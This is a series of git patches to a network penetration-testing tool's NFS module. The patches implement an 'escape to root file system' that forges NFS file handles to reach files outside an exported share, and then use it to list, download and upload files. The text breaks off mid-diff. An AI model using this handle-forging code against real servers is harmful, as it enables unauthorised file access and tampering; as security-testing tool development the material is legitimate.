From a2ae0bde18b0ad12203186ec73865dbce266882a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 3 Jan 2025 20:19:35 -0500 Subject: [PATCH 01/12] POC for escape to root file system --- nxc/protocols/nfs.py | 57 ++++++++++++++++++++++++++++++++- nxc/protocols/nfs/proto_args.py | 1 + 2 files changed, 57 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index ccaceba4d..d13e2d30f 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,13 +1,27 @@ from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight -from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3 +from pyNfsClient import ( + Portmap, + Mount, + NFSv3, + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, + NF3DIR, + ) import re import uuid import math import os +from pprint import pprint + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -389,6 +403,47 @@ def put_file(self): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") + def get_root_handle(self, file_handle): + """ + Get the root handle of the NFS share + Sources: + https://github.com/spotify/linux/blob/master/include/linux/nfsd/nfsfh.h + https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py + + Usually: + - 1 byte: 0x01 fb_version + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) + - 1 byte: 0xXX fb_fsid_type -> determines the legth of the fsid + - 1 byte: 0xXX fb_fileid_type + """ + fh = bytearray(file_handle) + # Concatinate old header with root Inode and Generation id + return bytes(fh[:3] + int.to_bytes(NF3DIR) + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + + def ls(self): + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + output_export = str(self.mount.export()) + + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + for share in ["/var/nfs/general"]: + mount_info = self.mount.mnt(share, self.auth) + fh = mount_info["mountinfo"]["fhandle"] + root_fh = self.get_root_handle(fh) + + # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) + + content = self.nfs3.readdir(root_fh, auth=self.auth)["resok"]["reply"]["entries"] + self.logger.success(f"Using share '{share}' for escape to root fs") + while content: + for entry in content: + self.logger.highlight(f"{entry['name'].decode()}") + content = entry["nextentry"] if "nextentry" in entry else None + self.mount.umnt(self.auth) def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 48b8e41f4..bf55ed951 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -6,6 +6,7 @@ def proto_args(parser, parents): dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From ad6c385493f78bbb162dda542cab7353c2f8527f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Feb 2025 13:14:06 -0500 Subject: [PATCH 02/12] Typo --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d13e2d30f..6f3109404 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -413,7 +413,7 @@ def get_root_handle(self, file_handle): Usually: - 1 byte: 0x01 fb_version - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) - - 1 byte: 0xXX fb_fsid_type -> determines the legth of the fsid + - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - 1 byte: 0xXX fb_fileid_type """ fh = bytearray(file_handle) From 4571f93dce7f4770ae6efdc81868cd22e387d10e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Feb 2025 17:35:48 -0500 Subject: [PATCH 03/12] Working on nfs root escape --- nxc/protocols/nfs.py | 74 +++++++++++++++++++++++++++++++++++--------- 1 file changed, 59 insertions(+), 15 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 6f3109404..5a7d7b8b1 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -3,16 +3,15 @@ from nxc.helpers.logger import highlight from pyNfsClient import ( Portmap, - Mount, - NFSv3, - NFS_PROGRAM, - NFS_V3, - ACCESS3_READ, - ACCESS3_MODIFY, - ACCESS3_EXECUTE, - NFSSTAT3, - NF3DIR, - ) + Mount, + NFSv3, + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, +) import re import uuid import math @@ -403,7 +402,49 @@ def put_file(self): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") - def get_root_handle(self, file_handle): + class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid + } + + fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, + } + + def get_root_handles(self, mount_fh): """ Get the root handle of the NFS share Sources: @@ -416,9 +457,11 @@ def get_root_handle(self, file_handle): - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - 1 byte: 0xXX fb_fileid_type """ - fh = bytearray(file_handle) + dir_data = self.nfs3.listdir(mount_fh, auth=self.auth) + print(dir_data) + fh = bytearray(mount_fh) # Concatinate old header with root Inode and Generation id - return bytes(fh[:3] + int.to_bytes(NF3DIR) + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + return bytes(fh[:3] + b"\x02" + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") def ls(self): nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) @@ -432,8 +475,8 @@ def ls(self): for share in ["/var/nfs/general"]: mount_info = self.mount.mnt(share, self.auth) - fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.get_root_handle(fh) + mount_fh = mount_info["mountinfo"]["fhandle"] + root_fh = self.get_root_handles(mount_fh) # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) @@ -445,6 +488,7 @@ def ls(self): content = entry["nextentry"] if "nextentry" in entry else None self.mount.umnt(self.auth) + def convert_size(size_bytes): if size_bytes == 0: return "0B" From d87c379ac5628459db5dde1add598ef1e26aa08a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 27 Feb 2025 19:27:53 -0500 Subject: [PATCH 04/12] NFS root escape automated for each share --- nxc/protocols/nfs.py | 190 +++++++++++++++++++++++++++++-------------- 1 file changed, 128 insertions(+), 62 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 3994477fb..798c0d275 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -21,6 +21,52 @@ from pprint import pprint +class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 +fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid +} + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45 +fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, +} + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -402,66 +448,70 @@ def put_file(self): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") - class FileID: - root = "root" - ext = "ext/xfs" - btrfs = "btrfs" - udf = "udf" - nilfs = "nilfs" - fat = "fat" - lustre = "lustre" - kernfs = "kernfs" - invalid = "invalid" - unknown = "unknown" - - fileid_types = { - 0: FileID.root, - 1: FileID.ext, - 2: FileID.ext, - 0x81: FileID.ext, - 0x4d: FileID.btrfs, - 0x4e: FileID.btrfs, - 0x4f: FileID.btrfs, - 0x51: FileID.udf, - 0x52: FileID.udf, - 0x61: FileID.nilfs, - 0x62: FileID.nilfs, - 0x71: FileID.fat, - 0x72: FileID.fat, - 0x97: FileID.lustre, - 0xfe: FileID.kernfs, - 0xff: FileID.invalid - } - - fsid_lens = { - 0: 8, - 1: 4, - 2: 12, - 3: 8, - 4: 8, - 5: 8, - 6: 16, - 7: 24, - } - def get_root_handles(self, mount_fh): """ - Get the root handle of the NFS share + Get possible root handles to escape to the root filesystem Sources: - https://github.com/spotify/linux/blob/master/include/linux/nfsd/nfsfh.h + https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62 + https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py Usually: - 1 byte: 0x01 fb_version - - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) - - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - - 1 byte: 0xXX fb_fileid_type + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel + - 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved + - 1 byte: 0xXX fb_fileid_type -> determines the filesystem type """ - dir_data = self.nfs3.listdir(mount_fh, auth=self.auth) - print(dir_data) + # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3]) + # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth)) + filesystem = FileID.unknown + for entry in dir_data: + # Check if "." is already the root directory + if entry["name"] == b".": + if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]: + self.logger.debug("Exported share is already the root directory") + return [entry["name_handle"]["handle"]["data"]] + elif entry["name"] == b"..": + continue + else: + try: + fid_type = entry["name_handle"]["handle"]["data"][3] + if fid_type in fileid_types: + filesystem = fileid_types[fid_type] + self.logger.info(f"Found filesystem type: {filesystem}") + break + except Exception as e: + self.logger.debug(f"Error on getting filesystem type: {e}") + continue + + self.logger.debug(f"Filesystem type: {filesystem}") + + # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length) + fh_fsid_type = mount_fh[2] + fh_fsid_len = fsid_lens[fh_fsid_type] + root_handles = [] + + # Generate possible root handles + # General syntax: 4 byte header + fsid + fileid + # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) - # Concatinate old header with root Inode and Generation id - return bytes(fh[:3] + b"\x02" + fh[4:] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00") + if filesystem in [FileID.ext, FileID.unknown]: + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + if filesystem in [FileID.btrfs, FileID.unknown]: + # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling + for i in range(16): + subvolume = int.to_bytes(i) + b"\x01\x00\x00" + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + + return root_handles + + def try_root_escape(self, mount_fh): + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + return fh def ls(self): nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) @@ -473,20 +523,36 @@ def ls(self): reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names shares = list(reg.findall(output_export)) - for share in ["/var/nfs/general"]: + for share in shares: mount_info = self.mount.mnt(share, self.auth) mount_fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.get_root_handles(mount_fh) - - # pprint(self.nfs3.readdir(root_fh, auth=self.auth)) - - content = self.nfs3.readdir(root_fh, auth=self.auth)["resok"]["reply"]["entries"] - self.logger.success(f"Using share '{share}' for escape to root fs") - while content: - for entry in content: - self.logger.highlight(f"{entry['name'].decode()}") - content = entry["nextentry"] if "nextentry" in entry else None + root_fh = self.try_root_escape(mount_fh) + if not root_fh: + self.mount.umnt(self.auth) + continue + + self.logger.success(f"Successful escape on share: {share}") + content = self.format_directory(self.nfs3.readdir(root_fh, auth=self.auth)) + for entry in content: + self.logger.highlight(f"{entry['name'].decode()}") self.mount.umnt(self.auth) + break + + def format_directory(self, raw_directory): + """Convert the chained directory entries to a list of the entries""" + if "resfail" in raw_directory: + self.logger.debug("Insufficient Permissions, NFS returned 'resfail'") + return {} + items = [] + nextentry = raw_directory["resok"]["reply"]["entries"][0] + while nextentry: + entry = nextentry + nextentry = entry["nextentry"][0] if entry["nextentry"] else None + entry.pop("nextentry") + items.append(entry) + + # Sort by name to be linux-like + return sorted(items, key=lambda x: x["name"].decode()) def convert_size(size_bytes): From de95d01c64840488d6eb9e9e2b0297d7f24c0b7f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 10:14:17 -0500 Subject: [PATCH 05/12] Add check for root escape --- nxc/protocols/nfs.py | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 798c0d275..60716cac8 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,6 +1,8 @@ +from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight +from nxc.config import host_info_colors from pyNfsClient import ( Portmap, Mount, @@ -20,7 +22,6 @@ from pprint import pprint - class FileID: root = "root" ext = "ext/xfs" @@ -81,6 +82,10 @@ def __init__(self, args, db, host): "gid": 0, "aux_gid": [], } + self.root_escape = False + # If root escape is possible, the escape_share and escape_fh will be populated + self.escape_share = None + self.escape_fh = b"" connection.__init__(self, args, db, host) def proto_logger(self): @@ -122,12 +127,20 @@ def enum_host_info(self): for program in programs: if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) - return self.nfs_versions except Exception as e: self.logger.debug(f"Error checking NFS version: {self.host} {e}") + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + # Check if root escape is possible + self.root_escape = self.try_root_escape() + self.nfs3.disconnect() + def print_host_info(self): - self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})") + root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) + self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") def disconnect(self): """Disconnect mount and portmap if they are connected""" @@ -479,7 +492,7 @@ def get_root_handles(self, mount_fh): fid_type = entry["name_handle"]["handle"]["data"][3] if fid_type in fileid_types: filesystem = fileid_types[fid_type] - self.logger.info(f"Found filesystem type: {filesystem}") + self.logger.debug(f"Found filesystem type: {filesystem}") break except Exception as e: self.logger.debug(f"Error on getting filesystem type: {e}") From 9e4366f97fa67726a97cf8b8f6cd78967abb595b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 12:59:52 -0500 Subject: [PATCH 06/12] Add implementation for 'ls' --- nxc/protocols/nfs.py | 122 ++++++++++++++++++++++++++------ nxc/protocols/nfs/proto_args.py | 1 + 2 files changed, 102 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 60716cac8..46e410189 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -7,12 +7,16 @@ Portmap, Mount, NFSv3, +) +from pyNfsClient.const import ( NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3, + NFS3ERR_NOENT, + NF3REG, ) import re import uuid @@ -22,6 +26,7 @@ from pprint import pprint + class FileID: root = "root" ext = "ext/xfs" @@ -520,36 +525,104 @@ def get_root_handles(self, mount_fh): return root_handles - def try_root_escape(self, mount_fh): - possible_root_fhs = self.get_root_handles(mount_fh) - for fh in possible_root_fhs: - if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): - return fh - - def ls(self): - nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) - self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) - self.nfs3.connect() + def try_root_escape(self) -> bool: + """With an established connection look for a share that can be escaped to the root filesystem""" + if not self.nfs3: + raise Exception("NFS connection is not established") output_export = str(self.mount.export()) - reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names shares = list(reg.findall(output_export)) + self.logger.debug(f"Trying root escape on shares: {shares}") for share in shares: mount_info = self.mount.mnt(share, self.auth) mount_fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.try_root_escape(mount_fh) - if not root_fh: - self.mount.umnt(self.auth) - continue - - self.logger.success(f"Successful escape on share: {share}") - content = self.format_directory(self.nfs3.readdir(root_fh, auth=self.auth)) - for entry in content: - self.logger.highlight(f"{entry['name'].decode()}") + try: + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}") + self.escape_share = share + self.escape_fh = fh + self.mount.umnt(self.auth) + return True + except Exception as e: + self.logger.debug(f"Error trying root escape on share '{share}': {e}") self.mount.umnt(self.auth) - break + return False + + def ls(self): + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + # Remove leading slashes + self.args.ls = self.args.ls.lstrip("/").rstrip("/") + + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) + mount_fh = mount_info["mountinfo"]["fhandle"] + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return + + # Update UID and GID for the share + self.update_auth(mount_fh) + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.ls.split("/"))): + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.ls!r}") + return + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + curr_fh = res["resok"]["object"]["data"] + + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + content = self.format_directory(dir_listing) + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + # If the requested path is a file, we filter out all other files + if is_file: + content = [x for x in content if x["name"].decode() == sub_path] + path = path.rsplit("/", 1)[0] # Remove the file from the path + self.print_directory(content, path) + + def print_directory(self, content, path): + """ + Highlight log the content of the directory provided by a READDIRPLUS call. + Expects an FORMATED output of self.format_directory. + """ + self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") + self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") + for item in content: + if item["name"] in [b".", b".."]: + continue + if not item["name_attributes"]["present"]: + uid = "-" + perms = "----" + file_size = "-" + else: + uid = item["name_attributes"]["attributes"]["uid"] + is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-" + read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) + perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" + file_size = convert_size(item["name_attributes"]["attributes"]["size"]) + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") def format_directory(self, raw_directory): """Convert the chained directory entries to a list of the entries""" @@ -567,6 +640,13 @@ def format_directory(self, raw_directory): # Sort by name to be linux-like return sorted(items, key=lambda x: x["name"].decode()) + def update_auth(self, file_handle): + """Update the UID and GID for the file handle""" + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}") + self.auth["uid"] = attrs["attributes"]["uid"] + self.auth["gid"] = attrs["attributes"]["gid"] + def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index bf55ed951..4c640f219 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -6,6 +6,7 @@ def proto_args(parser, parents): dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From 434b0f4b80e1263594bed4fd2f325cc6ba1e69e7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 13:15:09 -0500 Subject: [PATCH 07/12] Fix for items that are not resolved by the readdirplus call --- nxc/protocols/nfs.py | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 46e410189..d4da5ee30 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -558,7 +558,7 @@ def ls(self): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Remove leading slashes + # Remove leading or trailing slashes self.args.ls = self.args.ls.lstrip("/").rstrip("/") # NORMAL LS CALL (without root escape) @@ -595,8 +595,22 @@ def ls(self): dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) content = self.format_directory(dir_listing) - path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + + # Sometimes the NFS Server does not return the attributes for the files + # However, they can still be looked up individually is missing + for item in content: + if not item["name_attributes"]["present"]: + try: + res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth) + item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"] + item["name_attributes"]["present"] = True + item["name_handle"]["handle"] = res["resok"]["object"] + item["name_handle"]["present"] = True + except Exception as e: + self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}") + # If the requested path is a file, we filter out all other files + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" if is_file: content = [x for x in content if x["name"].decode() == sub_path] path = path.rsplit("/", 1)[0] # Remove the file from the path @@ -612,7 +626,7 @@ def print_directory(self, content, path): for item in content: if item["name"] in [b".", b".."]: continue - if not item["name_attributes"]["present"]: + if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: uid = "-" perms = "----" file_size = "-" From 67ce02eae78c8ccd0a95f1731e9b84cbe81e5480 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 13:17:11 -0500 Subject: [PATCH 08/12] Clean up and comments --- nxc/protocols/nfs.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d4da5ee30..b8dc45156 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -24,9 +24,6 @@ import os -from pprint import pprint - - class FileID: root = "root" ext = "ext/xfs" @@ -526,7 +523,14 @@ def get_root_handles(self, mount_fh): return root_handles def try_root_escape(self) -> bool: - """With an established connection look for a share that can be escaped to the root filesystem""" + """ + With an established connection look for a share that can be escaped to the root filesystem. + If successfull, self.escape_share and self.escape_fh will be populated. + + Returns + ------- + bool: True if root escape was successful + """ if not self.nfs3: raise Exception("NFS connection is not established") From df4e992c52b1fe84ae5f4d6814ea936547b7011b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 18:43:35 -0500 Subject: [PATCH 09/12] Add root_escape for --get-file and --put-file --- nxc/protocols/nfs.py | 92 +++++++++++++++++++++++---------- nxc/protocols/nfs/proto_args.py | 2 +- 2 files changed, 66 insertions(+), 28 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index b8dc45156..c17f0260b 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -14,6 +14,7 @@ ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, + MNT3ERR_ACCES, NFSSTAT3, NFS3ERR_NOENT, NF3REG, @@ -348,17 +349,35 @@ def get_file(self): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share - mnt_info = self.mount.mnt(remote_dir_path, self.auth) - - # Update the UID for the file - attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] + + # Iterate over the path until we hit the file + curr_fh = mount_fh + for sub_path in remote_file_path.lstrip("/").split("/"): + # Update the UID for the next object and get the handle + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # Check for a bad path + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {remote_file_path!r}") + return - # Get the file handle and file size - dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) - file_handle = dir_data["resok"]["object"]["data"] + curr_fh = res["resok"]["object"]["data"] + # If response is file then break + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + break # Handle files over the default chunk size of 1024 * 1024 offset = 0 @@ -367,7 +386,7 @@ def get_file(self): # Loop until we have read the entire file with open(local_file_path, "wb+") as local_file: while not eof: - file_data = self.nfs3.read(file_handle, offset, auth=self.auth) + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) if "resfail" in file_data: raise Exception("Insufficient Permissions") @@ -395,18 +414,13 @@ def put_file(self): """Uploads a file to the NFS share""" local_file_path = self.args.put_file[0] remote_file_path = self.args.put_file[1] - file_name = "" + remote_dir_path, file_name = os.path.split(remote_file_path) # Check if local file is exist if not os.path.isfile(local_file_path): self.logger.fail(f"{local_file_path} does not exist.") return - # Do a bit of smart handling for the file paths - file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path - if not remote_file_path.endswith("/"): 